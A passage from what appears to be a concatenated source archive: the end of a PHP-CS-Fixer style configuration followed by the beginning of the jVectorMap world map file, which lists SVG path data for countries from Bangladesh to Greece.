            'mute_deprecation_error' => false,
            'noise_remaining_usages' => false,
            'noise_remaining_usages_exclude' => [],
        ],
        'function_to_constant' => false,
        'global_namespace_import' => true,
        'method_chaining_indentation' => true,
        'no_alias_functions' => false,
        'no_superfluous_phpdoc_tags' => false,
        'non_printable_character' => [
            'use_escape_sequences_in_strings' => true,
        ],
        'phpdoc_align' => [
            'align' => 'left',
        ],
        'phpdoc_summary' => false,
        'protected_to_private' => false,
        'self_accessor' => false,
        'yoda_style' => false,
        'single_line_throw' => false,
        'no_alias_language_construct_call' => false,
    ])
    ->getFinder()
    ->in(__DIR__)
    ->exclude('vendor');

return $config;vendor/jvectormap/world-mill-en.js000066600000315665151150442740013262 0ustar00jQuery.fn.vectorMap("addMap", "world_mill_en", {
	insets: [
		{
			width: 900,
			top: 0,
			height: 440.7063107441331,
			bbox: [
				{ y: -12671671.123330014, x: -20004297.151525836 },
				{ y: 6930392.025135122, x: 20026572.394749384 },
			],
			left: 0,
		},
	],
	paths: {
		BD: {
			path: "M651.84,230.21l-0.6,-2.0l-1.36,-1.71l-2.31,-0.11l-0.41,0.48l0.2,0.94l-0.53,0.99l-0.72,-0.36l-0.68,0.35l-1.2,-0.36l-0.37,-2.0l-0.81,-1.86l0.39,-1.46l-0.22,-0.47l-1.14,-0.53l0.29,-0.5l1.48,-0.94l0.03,-0.65l-1.55,-1.22l0.55,-1.14l1.61,0.94l1.04,0.15l0.18,1.54l0.34,0.35l5.64,0.63l-0.84,1.64l-1.22,0.34l-0.77,1.51l0.07,0.47l1.37,1.37l0.67,-0.19l0.42,-1.39l1.21,3.84l-0.03,1.21l-0.33,-0.15l-0.4,0.28Z",
			name: "Bangladesh",
		},
		BE: {
			path: "M429.29,144.05l1.91,0.24l2.1,-0.63l2.63,1.99l-0.21,1.66l-0.69,0.4l-0.18,1.2l-1.66,-1.13l-1.39,0.15l-2.73,-2.7l-1.17,-0.18l-0.16,-0.52l1.54,-0.5Z",
			name: "Belgium",
		},
		BF: {
			path: "M421.42,247.64l-0.11,0.95l0.34,1.16l1.4,1.71l0.07,1.1l0.32,0.37l2.55,0.51l-0.04,1.28l-0.38,0.53l-1.07,0.21l-0.72,1.18l-0.63,0.21l-3.22,-0.25l-0.94,0.39l-5.4,-0.05l-0.39,0.38l0.16,2.73l-1.23,-0.43l-1.17,0.1l-0.89,0.57l-2.27,-1.72l-0.13,-1.11l0.61,-0.96l0.02,-0.93l1.87,-1.98l0.44,-1.81l0.43,-0.39l1.28,0.26l1.05,-0.52l0.47,-0.73l1.84,-1.09l0.55,-0.83l2.2,-1.0l1.15,-0.3l0.72,0.45l1.13,-0.01Z",
			name: "Burkina Faso",
		},
		BG: {
			path: "M491.65,168.18l-0.86,0.88l-0.91,2.17l0.48,1.34l-1.6,-0.24l-2.55,0.95l-0.28,1.51l-1.8,0.22l-2.0,-1.0l-1.92,0.79l-1.42,-0.07l-0.15,-1.63l-1.05,-0.97l0.0,-0.8l1.2,-1.57l0.01,-0.56l-1.14,-1.23l-0.05,-0.94l0.88,0.97l0.88,-0.2l1.91,0.47l3.68,0.16l1.42,-0.81l2.72,-0.66l2.55,1.24Z",
			name: "Bulgaria",
		},
		BA: {
			path: "M463.49,163.65l2.1,0.5l1.72,-0.03l1.52,0.68l-0.36,0.78l0.08,0.45l1.04,1.02l-0.25,0.98l-1.81,1.15l-0.38,1.38l-1.67,-0.87l-0.89,-1.2l-2.11,-1.83l-1.63,-2.22l0.23,-0.57l0.48,0.38l0.55,-0.06l0.43,-0.51l0.94,-0.06Z",
			name: "Bosnia and Herz.",
		},
		BN: {
			path: "M707.48,273.58l0.68,-0.65l1.41,-0.91l-0.15,1.63l-0.81,-0.05l-0.61,0.58l-0.53,-0.6Z",
			name: "Brunei",
		},
		BO: {
			path: "M263.83,340.69l-3.09,-0.23l-0.38,0.23l-0.7,1.52l-1.31,-1.53l-3.28,-0.64l-2.37,2.4l-1.31,0.26l-0.88,-3.26l-1.3,-2.86l0.74,-2.37l-0.13,-0.43l-1.2,-1.01l-0.37,-1.89l-1.08,-1.55l1.45,-2.56l-0.96,-2.33l0.47,-1.06l-0.34,-0.73l0.91,-1.32l0.16,-3.84l0.5,-1.18l-1.81,-3.41l2.46,0.07l0.8,-0.85l3.4,-1.91l2.66,-0.35l-0.19,1.38l0.3,1.07l-0.05,1.97l2.72,2.27l2.88,0.49l0.89,0.86l1.79,0.58l0.98,0.7l1.71,0.05l1.17,0.61l0.6,2.7l-0.7,0.54l0.96,2.99l0.37,0.28l4.3,0.1l-0.25,1.2l0.27,1.02l1.43,0.9l0.5,1.35l-0.41,1.86l-0.65,1.08l0.12,1.35l-2.69,-1.65l-2.4,-0.03l-4.36,0.76l-1.49,2.5l-0.11,1.52l-0.75,2.37Z",
			name: "Bolivia",
		},
		JP: {
			path: "M781.12,166.87l1.81,0.68l1.62,-0.97l0.39,2.42l-3.35,0.75l-2.23,2.88l-3.63,-1.9l-0.56,0.2l-1.26,3.05l-2.16,0.03l-0.29,-2.51l1.08,-2.03l2.45,-0.16l0.37,-0.33l1.25,-5.94l2.47,2.71l2.03,1.12ZM773.56,187.34l-0.91,2.22l0.37,1.52l-1.14,1.75l-3.02,1.26l-4.58,0.27l-3.34,3.01l-1.25,-0.8l-0.09,-1.9l-0.46,-0.38l-4.35,0.62l-3.0,1.32l-2.85,0.05l-0.37,0.27l0.13,0.44l2.32,1.89l-1.54,4.34l-1.26,0.9l-0.79,-0.7l0.56,-2.27l-0.21,-0.45l-1.47,-0.75l-0.74,-1.4l2.12,-0.84l1.26,-1.7l2.45,-1.42l1.83,-1.91l4.78,-0.81l2.6,0.57l0.44,-0.21l2.39,-4.66l1.29,1.06l0.5,0.01l5.1,-4.02l1.69,-3.73l-0.38,-3.4l0.9,-1.61l2.14,-0.44l1.23,3.72l-0.07,2.18l-2.23,2.84l-0.04,3.16ZM757.78,196.26l0.19,0.56l-1.01,1.21l-1.16,-0.68l-1.28,0.65l-0.69,1.45l-1.02,-0.5l0.01,-0.93l1.14,-1.38l1.57,0.14l0.85,-0.98l1.4,0.46Z",
			name: "Japan",
		},
		BI: {
			path: "M495.45,295.49l-1.08,-2.99l1.14,-0.11l0.64,-1.19l0.76,0.09l0.65,1.83l-2.1,2.36Z",
			name: "Burundi",
		},
		BJ: {
			path: "M429.57,255.75l-0.05,0.8l0.5,1.34l-0.42,0.86l0.17,0.79l-1.81,2.12l-0.57,1.76l-0.08,5.42l-1.41,0.2l-0.48,-1.36l0.11,-5.71l-0.52,-0.7l-0.2,-1.35l-1.48,-1.48l0.21,-0.9l0.89,-0.43l0.42,-0.92l1.27,-0.36l1.22,-1.34l0.61,-0.0l1.62,1.24Z",
			name: "Benin",
		},
		BT: {
			path: "M650.32,213.86l0.84,0.71l-0.12,1.1l-3.76,-0.11l-1.57,0.4l-1.93,-0.87l1.48,-1.96l1.13,-0.57l1.63,0.57l1.33,0.08l0.99,0.65Z",
			name: "Bhutan",
		},
		JM: {
			path: "M228.38,239.28l-0.8,0.4l-2.26,-1.06l0.84,-0.23l2.14,0.3l1.17,0.56l-1.08,0.03Z",
			name: "Jamaica",
		},
		BW: {
			path: "M483.92,330.07l2.27,4.01l2.83,2.86l0.96,0.31l0.78,2.43l2.13,0.61l1.02,0.76l-3.0,1.64l-2.32,2.02l-1.54,2.69l-1.52,0.45l-0.64,1.94l-1.34,0.52l-1.85,-0.12l-1.21,-0.74l-1.35,-0.3l-1.22,0.62l-0.75,1.37l-2.31,1.9l-1.4,0.21l-0.35,-0.59l0.16,-1.75l-1.48,-2.54l-0.62,-0.43l-0.0,-7.1l2.08,-0.08l0.39,-0.4l0.07,-8.9l5.19,-0.93l0.8,0.89l0.51,0.07l1.5,-0.95l2.21,-0.49Z",
			name: "Botswana",
		},
		BR: {
			path: "M259.98,275.05l3.24,0.7l0.65,-0.53l4.55,-1.32l1.08,-1.06l-0.02,-0.63l0.55,-0.05l0.28,0.28l-0.26,0.87l0.22,0.48l0.73,0.32l0.4,0.81l-0.62,0.86l-0.4,2.13l0.82,2.56l1.69,1.43l1.43,0.2l3.17,-1.68l3.18,0.3l0.65,-0.75l-0.27,-0.92l1.9,-0.09l2.39,0.99l1.06,-0.61l0.84,0.78l1.2,-0.18l1.18,-1.06l0.84,-1.94l1.36,-2.11l0.37,-0.05l1.89,5.45l1.33,0.59l0.05,1.28l-1.77,1.94l0.02,0.56l1.02,0.87l4.07,0.36l0.08,2.16l0.66,0.29l1.74,-1.5l6.97,2.32l1.02,1.22l-0.35,1.18l0.49,0.5l2.81,-0.74l4.77,1.3l3.75,-0.08l3.57,2.0l3.29,2.86l1.93,0.72l2.12,0.12l0.71,0.62l1.21,4.51l-0.95,3.98l-4.72,5.06l-1.64,2.92l-1.72,2.05l-0.8,0.3l-0.72,2.03l0.18,4.75l-0.94,5.53l-0.81,1.13l-0.43,3.36l-2.55,3.5l-0.4,2.51l-1.86,1.04l-0.67,1.53l-2.54,0.01l-3.94,1.01l-1.83,1.2l-2.87,0.82l-3.03,2.19l-2.2,2.83l-0.36,2.0l0.4,1.58l-0.44,2.6l-0.51,1.2l-1.77,1.54l-2.75,4.78l-3.83,3.42l-1.24,2.74l-1.18,1.15l-0.36,-0.83l0.95,-1.14l0.01,-0.5l-1.52,-1.97l-4.56,-3.32l-1.03,-0.0l-2.38,-2.02l-0.81,-0.0l5.34,-5.45l3.77,-2.58l0.22,-2.46l-1.35,-1.81l-0.91,0.07l0.58,-2.33l0.01,-1.54l-1.11,-0.83l-1.75,0.3l-0.44,-3.11l-0.52,-0.95l-1.88,-0.88l-1.24,0.47l-2.17,-0.41l0.15,-3.21l-0.62,-1.34l0.66,-0.73l-0.22,-1.34l0.66,-1.13l0.44,-2.04l-0.61,-1.83l-1.4,-0.86l-0.2,-0.75l0.34,-1.39l-0.38,-0.5l-4.52,-0.1l-0.72,-2.22l0.59,-0.42l-0.03,-1.1l-0.5,-0.87l-0.32,-1.7l-1.45,-0.76l-1.63,-0.02l-1.05,-0.72l-1.6,-0.48l-1.13,-0.99l-2.69,-0.4l-2.47,-2.06l0.13,-4.35l-0.45,-0.45l-3.46,0.5l-3.44,1.94l-0.6,0.74l-2.9,-0.17l-1.47,0.42l-0.72,-0.18l0.15,-3.52l-0.63,-0.34l-1.94,1.41l-1.87,-0.06l-0.83,-1.18l-1.37,-0.26l0.21,-1.01l-1.35,-1.49l-0.88,-1.91l0.56,-0.6l-0.0,-0.81l1.29,-0.62l0.22,-0.43l-0.22,-1.19l0.61,-0.91l0.15,-0.99l2.65,-1.58l1.99,-0.47l0.42,-0.36l2.06,0.11l0.42,-0.33l1.19,-8.0l-0.41,-1.56l-1.1,-1.0l0.01,-1.33l1.91,-0.42l0.08,-0.96l-0.33,-0.43l-1.14,-0.2l-0.02,-0.83l4.47,0.05l0.82,-0.67l0.82,1.81l0.8,0.07l1.15,1.1l2.26,-0.05l0.71,-0.83l2.78,-0.96l0.48,-1.13l1.6,-0.64l0.24,-0.47l-0.48,-0.82l-1.83,-0.19l-0.36,-3.22Z",
			name: "Brazil",
		},
		BS: {
			path: "M226.4,223.87l-0.48,-1.15l-0.84,-0.75l0.36,-1.11l0.95,1.95l0.01,1.06ZM225.56,216.43l-1.87,0.29l-0.04,-0.22l0.74,-0.14l1.17,0.06Z",
			name: "Bahamas",
		},
		BY: {
			path: "M493.84,128.32l0.29,0.7l0.49,0.23l1.19,-0.38l2.09,0.72l0.19,1.26l-0.45,1.24l1.57,2.26l0.89,0.59l0.17,0.81l1.58,0.56l0.4,0.5l-0.53,0.41l-1.87,-0.11l-0.73,0.38l-0.13,0.52l1.04,2.74l-1.91,0.26l-0.89,0.99l-0.11,1.18l-2.73,-0.04l-0.53,-0.62l-0.52,-0.08l-0.75,0.46l-0.91,-0.42l-1.92,-0.07l-2.75,-0.79l-2.6,-0.28l-2.0,0.07l-1.5,0.92l-0.67,0.07l-0.08,-1.22l-0.59,-1.19l1.36,-0.88l0.01,-1.35l-0.7,-1.41l-0.07,-1.0l2.16,-0.02l2.72,-1.3l0.75,-2.04l1.91,-1.04l0.2,-0.41l-0.19,-1.25l3.8,-1.78l2.3,0.77Z",
			name: "Belarus",
		},
		BZ: {
			path: "M198.03,244.38l0.1,-4.49l0.69,-0.06l0.74,-1.3l0.34,0.28l-0.4,1.3l0.17,0.58l-0.34,2.25l-1.3,1.42Z",
			name: "Belize",
		},
		RU: {
			path: "M872.08,91.08l0.53,0.92l-0.53,0.65l0.0,-1.57ZM872.08,89.65l0.0,-12.02l5.53,3.0l6.35,4.11l-0.2,2.38l1.88,1.41l0.6,-0.42l-0.48,-2.53l6.15,0.57l4.4,3.51l-1.97,1.43l-4.0,0.41l-0.36,0.39l-0.06,3.79l-0.74,0.62l-2.07,-0.11l-1.91,-1.39l-3.14,-1.11l-0.78,-1.85l-2.72,-0.68l-2.63,0.49l-1.04,-1.1l0.46,-1.31l-0.5,-0.51l-2.77,0.91ZM874.85,67.94l-2.77,0.24l0.0,-2.48l1.97,-0.01l3.19,1.16l-2.39,1.09ZM491.55,115.25l2.55,-1.85l-0.01,-0.65l-2.2,-1.5l7.32,-6.76l1.03,-2.11l-0.13,-0.49l-3.46,-2.52l0.86,-2.7l-2.11,-2.81l1.56,-3.67l-2.77,-4.52l2.15,-2.99l-0.08,-0.55l-3.65,-2.73l0.3,-2.54l1.81,-0.37l4.26,-1.77l2.42,-1.45l4.06,2.61l6.79,1.04l9.34,4.85l1.78,1.88l0.14,2.46l-2.55,2.02l-3.9,1.06l-11.07,-3.14l-2.06,0.53l-0.13,0.7l3.94,2.94l0.31,5.86l0.26,0.36l5.14,2.24l0.58,-0.29l0.32,-1.94l-1.35,-1.78l1.13,-1.09l6.13,2.42l2.11,-0.98l0.18,-0.56l-1.51,-2.67l5.41,-3.76l2.07,0.22l2.26,1.41l0.57,-0.16l1.46,-2.87l-0.05,-0.44l-1.92,-2.32l1.12,-2.32l-1.32,-2.27l5.87,1.16l1.04,1.75l-2.59,0.43l-0.33,0.4l0.02,2.36l2.46,1.83l3.87,-0.91l0.86,-2.8l13.69,-5.65l0.99,0.11l-1.92,2.06l0.23,0.67l3.11,0.45l2.0,-1.48l4.56,-0.12l3.64,-1.73l2.65,2.44l0.56,-0.01l2.85,-2.88l-0.01,-0.57l-2.35,-2.29l0.9,-1.01l7.14,1.3l3.41,1.36l9.05,4.97l0.51,-0.11l1.67,-2.27l-0.05,-0.53l-2.43,-2.21l-0.06,-0.78l-0.34,-0.36l-2.52,-0.36l0.64,-1.93l-1.32,-3.46l-0.06,-1.21l4.48,-4.06l1.69,-4.29l1.6,-0.81l6.23,1.18l0.44,2.21l-2.29,3.64l0.06,0.5l1.47,1.39l0.76,3.0l-0.56,6.03l2.69,2.82l-0.96,2.57l-4.86,5.95l0.23,0.64l2.86,0.61l0.42,-0.17l0.93,-1.4l2.64,-1.03l0.87,-2.24l2.09,-1.96l0.07,-0.5l-1.36,-2.28l1.09,-2.69l-0.32,-0.55l-2.47,-0.33l-0.5,-2.06l1.94,-4.38l-0.06,-0.42l-2.96,-3.4l4.12,-2.88l0.16,-0.4l-0.51,-2.93l0.54,-0.05l1.13,2.25l-0.96,4.35l0.27,0.47l2.68,0.84l0.5,-0.51l-1.02,-2.99l3.79,-1.66l5.01,-0.24l4.53,2.61l0.48,-0.06l0.07,-0.48l-2.18,-3.82l-0.23,-4.67l3.98,-0.9l5.97,0.21l5.49,-0.64l0.27,-0.65l-1.83,-2.31l2.56,-2.9l2.87,-0.17l4.8,-2.47l6.54,-0.67l1.03,-1.42l6.25,-0.45l2.32,1.11l5.53,-2.7l4.5,0.08l0.39,-0.28l0.66,-2.15l2.26,-2.12l5.69,-2.11l3.21,1.29l-2.46,0.94l-0.25,0.42l0.34,0.35l5.41,0.77l0.61,2.33l0.58,0.25l2.2,-1.22l7.13,0.07l5.51,2.47l1.79,1.72l-0.53,2.24l-9.16,4.15l-1.97,1.52l0.16,0.71l6.77,1.91l2.16,-0.78l1.13,2.74l0.67,0.11l1.01,-1.15l3.81,-0.73l7.7,0.77l0.54,1.99l0.36,0.29l10.47,0.71l0.43,-0.38l0.13,-3.23l4.87,0.78l3.95,-0.02l3.83,2.4l1.03,2.71l-1.35,1.79l0.02,0.5l3.15,3.64l4.07,1.96l0.53,-0.18l2.23,-4.47l3.95,1.93l4.16,-1.21l4.73,1.39l2.05,-1.26l3.94,0.62l0.43,-0.55l-1.68,-4.02l2.89,-1.8l22.31,3.03l2.16,2.75l6.78,3.56l10.06,-0.86l4.82,0.73l1.85,1.66l-0.29,3.08l0.25,0.41l3.08,1.26l3.56,-0.88l4.35,-0.11l4.8,0.87l4.57,-0.47l4.23,3.79l0.43,0.07l3.1,-1.4l0.16,-0.6l-1.88,-2.62l0.85,-1.52l7.71,1.21l5.22,-0.26l7.09,2.09l3.26,1.79l0.0,16.35l-2.92,1.62l-3.12,-0.28l-0.4,0.23l0.09,0.46l2.2,2.09l1.46,3.2l1.15,1.1l0.24,1.33l-0.42,0.67l-4.63,-0.77l-6.96,2.9l-2.19,0.44l-7.6,5.06l-0.84,1.45l-3.61,-2.37l-6.24,2.82l-0.94,-1.15l-0.53,-0.08l-2.28,1.52l-3.2,-0.49l-0.44,0.27l-0.78,2.37l-3.05,3.78l0.09,1.47l0.29,0.36l2.54,0.72l-0.29,4.53l-1.97,0.11l-0.35,0.26l-1.07,2.94l0.8,1.45l-3.91,1.58l-1.05,3.95l-3.48,0.77l-0.3,0.3l-0.72,3.29l-3.09,2.65l-0.7,-1.74l-2.44,-12.44l1.16,-4.71l2.04,-2.06l0.22,-1.64l3.8,-0.86l4.46,-4.61l4.28,-3.81l4.48,-3.01l2.17,-5.63l-0.42,-0.54l-3.04,0.33l-1.77,3.31l-5.86,3.86l-1.86,-4.25l-0.45,-0.23l-6.46,1.3l-6.47,6.44l-0.01,0.55l1.58,1.74l-8.24,1.17l0.15,-2.2l-0.34,-0.42l-3.89,-0.56l-3.25,1.81l-7.62,-0.62l-8.45,1.19l-17.71,15.41l0.22,0.7l3.74,0.41l1.36,2.17l2.43,0.76l1.88,-1.68l2.4,0.2l3.4,3.54l0.08,2.6l-1.95,3.42l-0.21,3.9l-1.1,5.06l-3.71,4.54l-0.87,2.21l-8.29,8.89l-3.19,1.7l-1.32,0.03l-1.45,-1.36l-0.49,-0.04l-2.27,1.5l0.41,-3.65l-0.59,-2.47l1.75,-0.89l2.91,0.53l0.42,-0.2l1.68,-3.03l0.87,-3.46l0.97,-1.18l1.32,-2.88l-0.45,-0.56l-4.14,0.95l-2.19,1.25l-3.41,-0.0l-1.06,-2.93l-2.97,-2.3l-4.28,-1.06l-1.75,-5.07l-2.66,-5.01l-2.29,-1.29l-3.75,-1.01l-3.44,0.08l-3.18,0.62l-2.24,1.77l0.05,0.66l1.18,0.69l0.02,1.43l-1.33,1.05l-2.26,3.51l-0.04,1.43l-3.16,1.84l-2.82,-1.16l-3.01,0.23l-1.35,-1.07l-1.5,-0.35l-3.9,2.31l-3.22,0.52l-2.27,0.79l-3.05,-0.51l-2.21,0.03l-1.48,-1.6l-2.6,-1.63l-2.63,-0.43l-5.46,1.01l-3.23,-1.25l-0.72,-2.57l-5.2,-1.24l-2.75,-1.36l-0.5,0.12l-2.59,3.45l0.84,2.1l-2.06,1.93l-3.41,-0.77l-2.42,-0.12l-1.83,-1.54l-2.53,-0.05l-2.42,-0.98l-3.86,1.57l-4.72,2.78l-3.3,0.75l-1.55,-1.92l-3.0,0.41l-1.11,-1.33l-1.62,-0.59l-1.31,-1.94l-1.38,-0.6l-3.7,0.79l-3.31,-1.83l-0.51,0.11l-0.99,1.29l-5.29,-8.05l-2.96,-2.48l0.65,-0.77l0.01,-0.51l-0.5,-0.11l-6.2,3.21l-1.84,0.15l0.15,-1.39l-0.26,-0.42l-3.22,-1.17l-2.46,0.7l-0.69,-3.16l-0.32,-0.31l-4.5,-0.75l-2.47,1.47l-6.19,1.27l-1.29,0.86l-9.51,1.3l-1.15,1.17l-0.03,0.53l1.47,1.9l-1.89,0.69l-0.22,0.56l0.31,0.6l-2.11,1.44l0.03,0.68l3.75,2.12l-0.39,0.98l-3.23,-0.13l-0.86,0.86l-3.09,-1.59l-3.97,0.07l-2.66,1.35l-8.32,-3.56l-4.07,0.06l-5.39,3.68l-0.39,2.0l-2.03,-1.5l-0.59,0.13l-2.0,3.59l0.57,0.93l-1.28,2.16l0.06,0.48l2.13,2.17l1.95,0.04l1.37,1.82l-0.23,1.46l0.25,0.43l0.83,0.33l-0.8,1.31l-2.49,0.62l-2.49,3.2l0.0,0.49l2.17,2.78l-0.15,2.18l2.5,3.24l-1.58,1.59l-0.7,-0.13l-1.63,-1.72l-2.29,-0.84l-0.94,-1.31l-2.34,-0.63l-1.48,0.4l-0.43,-0.47l-3.51,-1.48l-5.76,-1.01l-0.45,0.19l-2.89,-2.34l-2.9,-1.2l-1.53,-1.29l1.29,-0.43l2.08,-2.61l-0.05,-0.55l-0.89,-0.79l3.05,-1.06l0.27,-0.42l-0.07,-0.69l-0.49,-0.35l-1.73,0.39l0.04,-0.68l1.04,-0.72l2.66,-0.48l0.4,-1.32l-0.5,-1.6l0.92,-1.54l0.03,-1.17l-0.29,-0.37l-3.69,-1.06l-1.41,0.02l-1.42,-1.41l-2.19,0.38l-2.77,-1.01l-0.03,-0.59l-0.89,-1.43l-2.0,-0.32l-0.11,-0.54l0.49,-0.53l0.01,-0.53l-1.6,-1.9l-3.58,0.02l-0.88,0.73l-0.46,-0.07l-1.0,-2.79l2.22,-0.02l0.97,-0.74l0.07,-0.57l-0.9,-1.04l-1.35,-0.48l-0.11,-0.7l-0.95,-0.58l-1.38,-1.99l0.46,-0.98l-0.51,-1.96l-2.45,-0.84l-1.21,0.3l-0.46,-0.76l-2.46,-0.83l-0.72,-1.87l-0.21,-1.69l-0.99,-0.85l0.85,-1.17l-0.7,-3.21l1.66,-1.97l-0.16,-0.79ZM749.2,170.72l-0.6,0.4l-0.13,0.16l-0.01,-0.51l0.74,-0.05ZM871.28,68.24l-2.06,0.17l-0.26,-0.84l2.32,-1.39l0.0,2.06ZM797.39,48.49l-2.0,1.36l-3.8,-0.42l-4.25,-1.8l0.35,-0.97l9.69,1.83ZM783.67,46.12l-1.63,3.09l-8.98,-0.13l-4.09,1.14l-4.54,-2.97l1.16,-3.01l3.05,-0.89l6.5,0.22l8.54,2.56ZM778.2,134.98l-0.56,-0.9l0.27,-0.12l0.29,1.01ZM778.34,135.48l0.94,3.53l-0.05,3.38l1.05,3.39l2.18,5.0l-2.89,-0.83l-0.49,0.26l-1.54,4.65l2.42,3.5l-0.04,1.13l-1.24,-1.24l-0.61,0.06l-1.09,1.61l-0.28,-1.61l0.27,-3.1l-0.28,-3.4l0.58,-2.47l0.11,-4.39l-1.46,-3.36l0.21,-4.32l2.15,-1.46l0.07,-0.34ZM771.95,56.61l1.76,-1.42l2.89,-0.42l3.28,1.71l0.14,0.6l-3.27,0.03l-4.81,-0.5ZM683.76,31.09l-13.01,1.93l4.03,-6.35l1.82,-0.56l1.73,0.34l5.99,2.98l-0.56,1.66ZM670.85,27.93l-5.08,0.64l-6.86,-1.57l-3.99,-2.05l-2.1,-4.16l-2.6,-0.87l5.72,-3.5l5.2,-1.28l4.69,2.85l5.59,5.4l-0.56,4.53ZM564.15,68.94l-0.64,0.17l-7.85,-0.57l-0.86,-2.04l-4.28,-1.17l-0.28,-1.94l2.27,-0.89l0.25,-0.39l-0.08,-2.38l4.81,-3.97l-0.15,-0.7l-1.47,-0.38l5.3,-3.81l0.15,-0.44l-0.58,-1.94l5.28,-2.51l8.21,-3.27l8.28,-0.96l4.35,-1.94l4.6,-0.64l1.36,1.61l-1.34,1.28l-16.43,4.94l-7.97,4.88l-7.74,9.63l0.66,4.14l4.16,3.27ZM548.81,18.48l-5.5,1.18l-0.58,1.02l-2.59,0.84l-2.13,-1.07l1.12,-1.42l-0.3,-0.65l-2.33,-0.07l1.68,-0.36l3.47,-0.06l0.42,1.29l0.66,0.16l1.38,-1.34l2.15,-0.88l2.94,1.01l-0.39,0.36ZM477.37,133.15l-4.08,0.05l-2.56,-0.32l0.33,-0.87l3.17,-1.03l3.24,0.96l-0.09,1.23Z",
			name: "Russia",
		},
		RW: {
			path: "M497.0,288.25l0.71,1.01l-0.11,1.09l-1.63,0.03l-1.04,1.39l-0.83,-0.11l0.51,-1.2l0.08,-1.34l0.42,-0.41l0.7,0.14l1.19,-0.61Z",
			name: "Rwanda",
		},
		RS: {
			path: "M469.4,163.99l0.42,-0.5l-0.01,-0.52l-1.15,-1.63l1.43,-0.62l1.33,0.12l1.17,1.06l0.46,1.13l1.34,0.64l0.35,1.35l1.46,0.9l0.76,-0.29l0.2,0.69l-0.48,0.78l0.22,1.12l1.05,1.22l-0.77,0.8l-0.37,1.52l-1.21,0.08l0.24,-0.64l-0.39,-0.54l-2.08,-1.64l-0.9,0.05l-0.48,0.94l-2.12,-1.37l0.53,-1.6l-1.11,-1.37l0.51,-1.1l-0.41,-0.57Z",
			name: "Serbia",
		},
		TL: {
			path: "M734.55,307.93l-0.1,-0.97l4.5,-0.86l-2.82,1.28l-1.59,0.55Z",
			name: "Timor-Leste",
		},
		TM: {
			path: "M553.03,173.76l-0.04,0.34l-0.09,-0.22l0.13,-0.12ZM555.87,172.66l0.45,-0.1l1.48,0.74l2.06,2.43l4.07,-0.18l0.38,-0.51l-0.32,-1.19l1.92,-0.94l1.91,-1.59l2.94,1.39l0.43,2.47l1.19,0.67l2.58,-0.13l0.62,0.4l1.32,3.12l4.54,3.44l2.67,1.45l3.06,1.14l-0.04,1.05l-1.33,-0.75l-0.59,0.19l-0.32,0.84l-2.2,0.81l-0.46,2.13l-1.21,0.74l-1.91,0.42l-0.73,1.33l-1.56,0.31l-2.22,-0.94l-0.2,-2.17l-0.38,-0.36l-1.73,-0.09l-2.76,-2.46l-2.14,-0.4l-2.84,-1.48l-1.78,-0.27l-1.24,0.53l-1.57,-0.08l-2.0,1.69l-1.7,0.43l-0.36,-1.58l0.36,-2.98l-0.22,-0.4l-1.65,-0.84l0.54,-1.69l-0.34,-0.52l-1.22,-0.13l0.36,-1.64l2.22,0.59l2.2,-0.95l0.12,-0.65l-1.77,-1.74l-0.66,-1.57Z",
			name: "Turkmenistan",
		},
		TJ: {
			path: "M597.75,178.82l-2.54,-0.44l-0.47,0.34l-0.24,1.7l0.43,0.45l2.64,-0.22l3.18,0.95l4.39,-0.41l0.56,2.37l0.52,0.29l0.67,-0.24l1.11,0.49l0.21,2.13l-3.76,-0.21l-1.8,1.32l-1.76,0.74l-0.61,-0.58l0.21,-2.23l-0.64,-0.49l-0.07,-0.93l-1.36,-0.66l-0.45,0.07l-1.08,1.01l-0.55,1.48l-1.31,-0.05l-0.95,1.16l-0.9,-0.35l-1.86,0.74l1.26,-2.83l-0.54,-2.17l-1.67,-0.82l0.33,-0.66l2.18,-0.04l1.19,-1.63l0.76,-1.79l2.43,-0.5l-0.26,1.0l0.73,1.05Z",
			name: "Tajikistan",
		},
		RO: {
			path: "M487.53,154.23l0.6,0.24l2.87,3.98l-0.17,2.69l0.45,1.42l1.32,0.81l1.35,-0.42l0.76,0.36l0.02,0.31l-0.83,0.45l-0.59,-0.22l-0.54,0.3l-0.62,3.3l-1.0,-0.22l-2.07,-1.13l-2.95,0.71l-1.25,0.76l-3.51,-0.15l-1.89,-0.47l-0.87,0.16l-0.82,-1.3l0.29,-0.26l-0.06,-0.64l-1.09,-0.34l-0.56,0.5l-1.05,-0.64l-0.39,-1.39l-1.36,-0.65l-0.35,-1.0l-0.83,-0.75l1.54,-0.54l2.66,-4.21l2.4,-1.24l2.96,0.34l1.48,0.73l0.79,-0.45l1.78,-0.3l0.75,-0.74l0.79,0.0Z",
			name: "Romania",
		},
		GW: {
			path: "M386.23,253.6l-0.29,0.84l0.15,0.6l-2.21,0.59l-0.86,0.96l-1.04,-0.83l-1.09,-0.23l-0.54,-1.06l-0.66,-0.49l2.41,-0.48l4.13,0.1Z",
			name: "Guinea-Bissau",
		},
		GT: {
			path: "M195.08,249.77l-2.48,-0.37l-1.03,-0.45l-1.14,-0.89l0.3,-0.99l-0.24,-0.68l0.96,-1.66l2.98,-0.01l0.4,-0.37l-0.19,-1.28l-1.67,-1.4l0.51,-0.4l0.0,-1.05l3.85,0.02l-0.21,4.53l0.4,0.43l1.46,0.38l-1.48,0.98l-0.35,0.7l0.12,0.57l-2.2,1.96Z",
			name: "Guatemala",
		},
		GR: {
			path: "M487.07,174.59l-0.59,1.43l-0.37,0.21l-2.84,-0.35l-3.03,0.77l-0.18,0.68l1.28,1.23l-0.61,0.23l-1.14,0.0l-1.2,-1.39l-0.63,0.03l-0.53,1.01l0.56,1.76l1.03,1.19l-0.56,0.38l-0.05,0.62l2.52,2.12l0.02,0.87l-1.78,-0.59l-0.48,0.56l0.5,1.0l-1.07,0.2l-0.3,0.53l0.75,2.01l-0.98,0.02l-1.84,-1.12l-1.37,-4.2l-2.21,-2.95l-0.11,-0.56l1.04,-1.28l0.2,-0.95l0.85,-0.66l0.03,-0.46l1.32,-0.21l1.01,-0.64l1.22,0.05l0.65,-0.56l2.26,-0.0l1.82,-0.75l1.85,1.0l2.28,-0.28l0.35,-0.39l0.01,-0.77l0.34,0.22ZM480.49,192.16l0.58,0.4l-0.68,-0.12l0.11,-0.28ZM482.52,192.82l2.51,0.06l0.24,0.32l-1.99,0.13l-0.77,-0.51Z",
			name: "Greece",
		},
		GQ: {
			path: "M448.79,279.62l0.02,2.22l-4.09,0.0l0.69,-2.27l3.38,0.05Z",
			name: "Eq. Guinea",
		},
		GY: {
